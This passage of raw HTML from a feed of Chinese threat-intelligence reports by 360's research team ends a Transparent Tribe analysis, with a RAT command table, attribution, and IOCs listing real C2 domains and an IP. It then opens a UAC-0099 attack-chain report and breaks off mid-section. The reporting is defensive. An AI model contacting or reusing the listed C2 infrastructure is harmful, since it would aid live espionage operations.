5.4pt 0pt 5.4pt;width: 100%;"><tbody><tr><td data-colwidth="208" width="208" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="word-break:break-all;"><span style="font-size:11.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">命令</span></span></p></td><td data-colwidth="345" width="345" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="word-break:break-all;"><span style="font-size:11.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">功能</span></span></p></td></tr><tr><td data-colwidth="208" width="208" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="word-break:break-all;"><span style="font-size:11.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">execute_file</span></span></p></td><td data-colwidth="345" width="345" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="word-break:break-all;"><span style="font-size:11.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">执行本地指定路径的文件</span></span></p></td></tr><tr><td data-colwidth="208" width="208" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="word-break:break-all;"><span style="font-size:11.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">download_exercise</span></span></p></td><td data-colwidth="345" width="345" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="word-break:break-all;"><span style="font-size:11.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">从 C2 下载文件到 %PROGRAMDATA%\FitnessPrograms 并执行</span></span></p></td></tr><tr><td data-colwidth="208" width="208" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="word-break:break-all;"><span style="font-size:11.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">upload_and_execute</span></span></p></td><td data-colwidth="345" width="345" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-pagination:widow-orphan;"><span style="font-size:11.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">从 C2 下载文件到临时目录，写入目标路径并执行</span></span></p></td></tr><tr><td data-colwidth="208" width="208" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="word-break:break-all;"><span style="font-size:11.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">download_and_execute</span></span></p></td><td data-colwidth="345" width="345" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="word-break:break-all;"><span style="font-size:11.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">从 C2 下载文件到指定路径并执行</span></span></p></td></tr></tbody></table><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div data-tools="135编辑器" data-id="105196"><div data-tools="135编辑器" data-id="105196"><div style="text-align: left;margin: 10px auto;"><div style="background: linear-gradient(to bottom,rgba(254,254,254,0) 0%,rgba(254,254,254,0) 60%,#ffffff 60%,#ffffff 100%);" data-ignore-dm="text-bg-gradient"><div style="display: inline-block;"><div style="background-color: #be191f;padding: 6px 15px;box-sizing:border-box;"><p data-brushtype="text" style="font-size: 18px;letter-spacing: 1.5px;color: #ffffff;"><strong><span style="font-size:18px;" data-ignore-dm="low-contrast"><span leaf="">三、归属研判</span></span></strong></p></div></div></div></div></div></div></div><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">通过对本次攻击活动的相关信息进行深入分析，我们将这两类攻击归属到</span><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">APT-C-56(透明部落),理由如下：</span></p><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">1、</span><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">攻击者投递的ISO镜像文件内置CrimsonRAT远控木马，该工具系APT-C-56（透明部落）组织长期惯用的核心攻击组件，具备显著的组织级技术特征；</span><o:page></o:page></p><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">2、</span><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">CrimsonRAT载荷回连的基础设施IP（93.127.133.151），经反查关联至特定域名（monitorondomainwintgt2.store），该域名与同期捕获的go载荷共用的C2服务器完全一致，呈现出典型的基础设施复用特征；。</span></p><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">3、</span><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">样本上传源地定位为印度（IN），与该组织长期聚焦南亚地区、针对特定国家及关键机构开展网络窃密活动的情报指向高度一致；</span></p><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">4、</span><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">LNK文件中提取的Machine ID标识（desktop-mhp）与该组织历史活动使用的标识符一致。</span></p><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="text-align: justify;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">综上，攻击者使用的指纹信息、载荷类型、攻击目标、网络基础设施等多维度证据形成完整交叉验证，充分证实此次攻击活动属于该组织的持续性APT行动。</span></p><div data-role="outer" style="margin: 0px;padding: 0px;box-sizing: border-box;"><div data-tools="135编辑器" data-id="101849" style="margin: 0px;padding: 0px;box-sizing: border-box;"><div style="margin: 10px 0px;padding: 0px;box-sizing: border-box;"><div style="margin: 0px 0px -15px;padding: 0px;display: flex;box-sizing:border-box;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-o-transform: rotate(0deg);"><p data-brushtype="text" style="margin: 0px;padding: 0px 1em;color: rgb(242, 242, 242);line-height: 32px;height: 32px;font-size: 16px;background-color: rgb(190, 25, 31);letter-spacing: 1.5px;box-sizing: border-box;text-indent: 0px;"><strong style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;font-size: 17px;"><span leaf="">总结</span></span></strong></p></div><div style="margin: 0px 0px 0px 6px;padding: 30px 15px 10px;background-color: #f2f2f2;flex-shrink: 0;box-sizing: border-box;"><div data-autoskip="1" style="margin: 0px;padding: 0px;line-height: 1.75em;letter-spacing: 1.5px;font-size: 17px;box-sizing: border-box;"><div style="margin: 0px;padding: 0px;text-indent: 2em;box-sizing: border-box;"><p style="margin-top: 8px;margin-bottom: 8px;display: block;"><span leaf="" style="text-align: justify;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">本轮攻击活动中，APT-C-56</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-role&#34;:&#34;outer&#34;,&#34;label&#34;:&#34;Powered by 135editor.com&#34;,&#34;style&#34;:&#34;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;class&#34;:&#34;_135editor&#34;,&#34;data-tools&#34;:&#34;135编辑器&#34;,&#34;data-id&#34;:&#34;102539&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 10px auto; text-align: left;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;background: #f2f2f2;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;box-sizing: border-box; padding:1em 1em;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-autoskip&#34;:&#34;1&#34;,&#34;class&#34;:&#34;135brush&#34;,&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: justify; text-indent: 2em;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">（透明部落，Transparent Tribe）</span><span leaf="" style="text-align: justify;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">组织针对不同渗透场景灵活投递CrimsonRAT后门与自研Golang远控木马，充分展现其成熟的恶意工具开发与动态载荷切换能力；攻击者通过复用C2基础设施、按需调整载荷形态并结合脚本化执行链路，有效规避安全检测并实现持久化驻留，最终旨在建立隐蔽的远程控制通道以持续窃取敏感数据与实施定向监控，整体攻击路径呈现出高度专业化、隐蔽化与长期化的APT威胁特征。</span></p><p><span leaf="">此外本文披露的样本只是该组织攻击过程中使用的部分载荷，通过对样本进行的深入分析，希望帮助用户了解此类攻击链条及防范手段。同时也提醒用户提高安全意识，在日常工作中谨慎处理未知压缩包、邮件附件和超链接，避免因轻信而在毫无防护的情况下遭受入侵，造成敏感信息和重要数据的泄露。</span></p></div></div></div></div></div><div data-role="paragraph"><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div data-role="title" data-tools="135编辑器" data-id="85638" style=""><div style="margin: 2em auto 0px;padding: 0.5em 0px;white-space: normal;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid rgb(204, 204, 204);display: block;font-size: 15px;font-style: normal;font-weight: inherit;text-decoration: inherit;color: rgb(166, 166, 166);box-sizing: border-box;font-family:inherit;"><p style="margin-top: -1.2em;text-align: center;padding: 0px;border: none;line-height: 1.4;box-sizing: border-box;"><span style="font-size:15px;"><strong><span style="background-color: rgb(15, 15, 25);border-color: rgb(183, 184, 184);color: rgb(255, 255, 255);font-style: normal;padding: 8px 23px;text-align: center;text-decoration: inherit;font-family:inherit;"><span leaf="">附录 IOC</span></span></strong></span></p></div></div><div data-role="paragraph"><p style="text-indent: 0px;"><span leaf=""><span textstyle="" style="font-size: 15px;font-weight: bold;">MD5:</span></span></p><p style="text-indent: 0px;"><span leaf=""><span textstyle="" style="font-size: 15px;">4c64d98210c7fc53b91ffe8572db9187</span></span></p><p style="text-indent: 0px;"><span leaf=""><span textstyle="" style="font-size: 15px;">411460a835461658ea596a9f52826e65</span></span></p><p style="text-indent: 0px;"><span leaf=""><span textstyle="" style="font-size: 15px;">1d0a37a19233bc64d31f77697247e8f1</span></span></p><p style="text-indent: 0px;"><span leaf=""><span textstyle="" style="font-size: 15px;">72b34401413cd684b7ba0a36f626811b</span></span></p><p style="text-indent: 0px;"><span leaf=""><span textstyle="" style="font-size: 15px;">1b5d96e5b41d9720a4b35919a807bc34</span></span></p><p style="text-indent: 0px;"><span leaf=""><span textstyle="" style="font-size: 15px;">41724f263cac4520874765b11027eaa1</span></span></p><p style="text-indent: 0px;"><span leaf=""><span textstyle="" style="font-size: 15px;">8cd05fd628ed7927871e9dd53d4e613b</span></span></p><p style="text-indent: 0px;"><span leaf=""><span textstyle="" style="font-size: 15px;">43ec61c2a96acef6e36a4b69b8f8e333</span></span></p><p style="text-indent: 0px;"><span leaf=""><span textstyle="" style="font-size: 15px;">88d5d4c30c6732f9ddaa674621f8b3d4</span></span></p><p style="text-indent: 0px;"><span leaf=""><span textstyle="" style="font-size: 15px;">ec0d9f04adb2946f2257a63c16407da5</span></span></p><p style="text-indent: 0px;"><span leaf=""><span textstyle="" style="font-size: 15px;">abf20c1b86dec4209c2bfc6d565a9a4a</span></span></p><p style="text-indent: 0px;"><span leaf=""><span textstyle="" style="font-size: 15px;">208d83a5b80f6069d828a36c56155e43</span></span></p><p style="text-indent: 0px;"><span leaf=""><span textstyle="" style="font-size: 15px;font-weight: bold;">C2:</span></span></p><p style="text-indent: 0px;"><span leaf=""><span textstyle="" style="font-size: 15px;">monitorondomainwintgt.store</span></span></p><p style="text-indent: 0px;"><span leaf=""><span textstyle="" style="font-size: 15px;">monitorondomainwintgt2.store</span></span></p><p style="text-indent: 0px;"><span leaf=""><span textstyle="" style="font-size: 15px;">93.127.133.151:{6898,9626,19821,28168,35821}</span></span></p><div data-role="outer" label="Powered by 135editor.com" style="" data-pm-slice="0 0 []"><div data-tools="135编辑器" data-id="96036"><div style="margin:10px auto;"><div data-autoskip="1" style="font-size: 14px;text-align: justify;letter-spacing: 1.5px;line-height: 1.75em;color: #3e3e3e;"><p hm_fix="208:559" style="text-indent: 0px;"><span style="color: rgb(190, 25, 31);font-size: 15px;"><strong style="letter-spacing: 0.544px;caret-color: red;max-width: 100%;font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-family: 微软雅黑, sans-serif;overflow-wrap: break-word !important;"><span leaf="">360</span></span></strong><strong style="letter-spacing: 0.544px;caret-color: red;max-width: 100%;font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-family: 微软雅黑, sans-serif;overflow-wrap: break-word !important;"><span leaf="">高级威胁研究院</span></span></strong></span></p><p style="margin: 0px;padding: 0px;text-align: justify;max-width: 100%;min-height: 1em;letter-spacing: 0.544px;line-height: 1.5em;font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;text-indent: 0px;"><span style="margin: 0px;padding: 0px;max-width: 100%;color: rgb(136, 136, 136);font-size: 15px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="">360高级威胁研究院由360资深安全专家组成，专注于高级威胁的发现、防御、处置和研究，曾在全球范围内率先捕获双杀、双星、噩梦公式等多起业界知名的0day在野攻击，独家披露多个国家级APT组织的高级行动，赢得业内外的广泛认可，为360保障国家网络安全提供有力支撑。</span></span></p></div></div></div></div></div></div></div></div><o:page></o:page><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



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]]></content:encoded>
      <pubDate>Thu, 03 Sep 2026 17:50:00 +0800</pubDate>
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      <title>UAC-0099利用新型多阶段恶意软件链开展攻击活动</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUyMjk4NzExMA==&amp;mid=2247508827&amp;idx=1&amp;sn=0c211ab15c96ae62693c76c455d31f4e</link>
      <description>UAC‑0099长期针对乌克兰实施网络攻击，常完成初始入侵后移交 APT‑C‑13 深度作战。2026 年该组织更新 TTP，构建多阶段攻击链。360高级威胁研究院近期捕获到UAC-0099组织的一次具体攻击活动，并结合其同类样本，分析还原其攻击链全貌。</description>
      <content:encoded><![CDATA[<p><span>高级威胁研究院</span> <span>2026-08-26 17:30</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=7f991668&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FEmmib7pWXrXKt6KD1hEZx1icsRwgZicXSsgoEefIIdSuAhRQJLem4ic9nh6xU47vgfog8A1zgrfVggIZLSfqcibub2jvT5Bd3jPicoSs19m0nTsoY%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>UAC‑0099长期针对乌克兰实施网络攻击，常完成初始入侵后移交 APT‑C‑13 深度作战。2026 年该组织更新 TTP，构建多阶段攻击链。360高级威胁研究院近期捕获到UAC-0099组织的一次具体攻击活动，并结合其同类样本，分析还原其攻击链全貌。</p>
  <div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div data-tools="135编辑器" data-id="16"><div style="background-color: rgb(245, 245, 244);border-color: rgb(245, 245, 244);color: rgb(33, 33, 34);border-radius: 4px;font-size: 17px;text-align: justify;letter-spacing: 1.5px;line-height: 1.75em;padding: 1em 0.8em;margin: 10px auto;box-sizing: border-box;"><p style="margin-bottom: 8px;text-indent: 2em;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; text-align: left; margin-left: 0.0pt; line-height: normal; mso-pagination: widow-orphan; font-size: 12.0pt; font-family: 宋体; mso-fareast-font-family: &#39;宋体&#39;; font-weight: normal; mso-bidi-font-weight: normal; margin-top: 7.5pt; text-indent: 21.0pt; word-break: break-all; background: #FFFFFF;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;font-size:14.0pt;\nmso-bidi-font-size:14.0pt;\nfont-family:仿宋;\nmso-ascii-font-family:仿宋;\nmso-fareast-font-family:仿宋;\nmso-bidi-font-family:Arial;\nfont-variant:normal;\ntext-transform:none&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">UAC-0099是一个长期针对乌克兰地区开展网络攻击的威胁组织，攻击活动持续活跃，并不断更新攻击工具链与恶意组件，以增加安全人员捕获与追踪的难度。该组织在攻击行动中通常负责初步入侵，通过钓鱼邮件等手段获取目标系统的初始访问权限，随后将高价值目标移交APT-C-13（Sandworm）组织实施后续深度攻击。2026年，该组织在战术、技术和程序（TTP）方面发生显著变化，引入LUNCHPOKE、BURNYBEAR和MATCHBOIL.V2等全新恶意软件工具，形成以&#34;WSF脚本→LUNCHPOKE→BURNYBEAR→MATCHBOIL.V2&#34;为核心的多阶段攻击链。</span></p></div></div><div data-role="paragraph"><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div data-tools="135编辑器" data-id="105196"><div data-tools="135编辑器" data-id="105196"><div style="text-align: left;margin: 10px auto;"><div style="background: linear-gradient(to bottom,rgba(254,254,254,0) 0%,rgba(254,254,254,0) 60%,#ffffff 60%,#ffffff 100%);" data-ignore-dm="text-bg-gradient"><div style="display: inline-block;"><div style="background-color: #be191f;padding: 6px 15px;box-sizing:border-box;"><p data-brushtype="text" style="font-size: 18px;letter-spacing: 1.5px;color: #ffffff;"><strong><span style="font-size:18px;" data-ignore-dm="low-contrast"><span leaf="">一、概述</span></span></strong></p></div></div></div></div></div></div></div></div></div><p style="text-align: justify;text-indent: 2em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">360高级威胁研究院</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">近期在日常情报挖掘中捕获到UAC-0099组织的一次具体攻击活动，为完整还原攻击链全貌，本报告结合从其他UAC-0099活动中捕获的同类样本进行了补充分析。建议相关机构及人员强化钓鱼邮件识别与初始访问防护，加强终端侧行为监控及高价值数据访问控制，有效防范多阶段载荷投递导致的信息泄露与持久化控制风险。</span></p><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div data-tools="135编辑器" data-id="105196"><div data-tools="135编辑器" data-id="105196"><div style="text-align: left;margin: 10px auto;"><div style="background: linear-gradient(to bottom,rgba(254,254,254,0) 0%,rgba(254,254,254,0) 60%,#ffffff 60%,#ffffff 100%);" data-ignore-dm="text-bg-gradient"><div style="display: inline-block;"><div style="background-color: #be191f;padding: 6px 15px;box-sizing:border-box;"><p data-brushtype="text" style="font-size: 18px;letter-spacing: 1.5px;color: #ffffff;"><strong><span style="font-size:18px;" data-ignore-dm="low-contrast"><span leaf="">二、攻击链分析</span></span></strong></p></div></div></div></div></div></div></div><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;font-weight: normal;mso-bidi-font-weight: normal;word-break: break-all;"><span style="font-family:宋体;mso-ascii-font-family:宋体;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.30160550458715596" data-w="872" style="width:553.739990234375px;height:166.99998474121094px;" src="https://wechat2rss.xlab.app/img-proxy/?k=978068e1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXIOPxRichmjk3ShCjqakpria9rH5rmI1xpQx6D5Is80Xz1UicibroggsMknMywRaCicP94h2YIL5hNJMfTclUKADI295L2ZWptjrnHQ%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">攻击者针对的目标主要集中在乌克兰地区，攻击目标以政府机构、关键基础设施相关组织等定向目标为主。攻击者通过钓鱼邮件投递恶意压缩包作为附件，压缩包内为双扩展名伪装成Word文档的WSF脚本，邮件内容围绕目标关心话题进行伪装，以诱导用户解压并运行其中文件从而中招。WSF脚本执行后再经短链接重定向至文件服务器下载后续载荷。攻击链结合了DLL侧加载、多阶段条件执行与代码虚拟化保护，旨在规避安全检测并隐蔽植入远控。</span></p><h2><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="color: rgb(190, 25, 31);font-weight: bold;">2.1 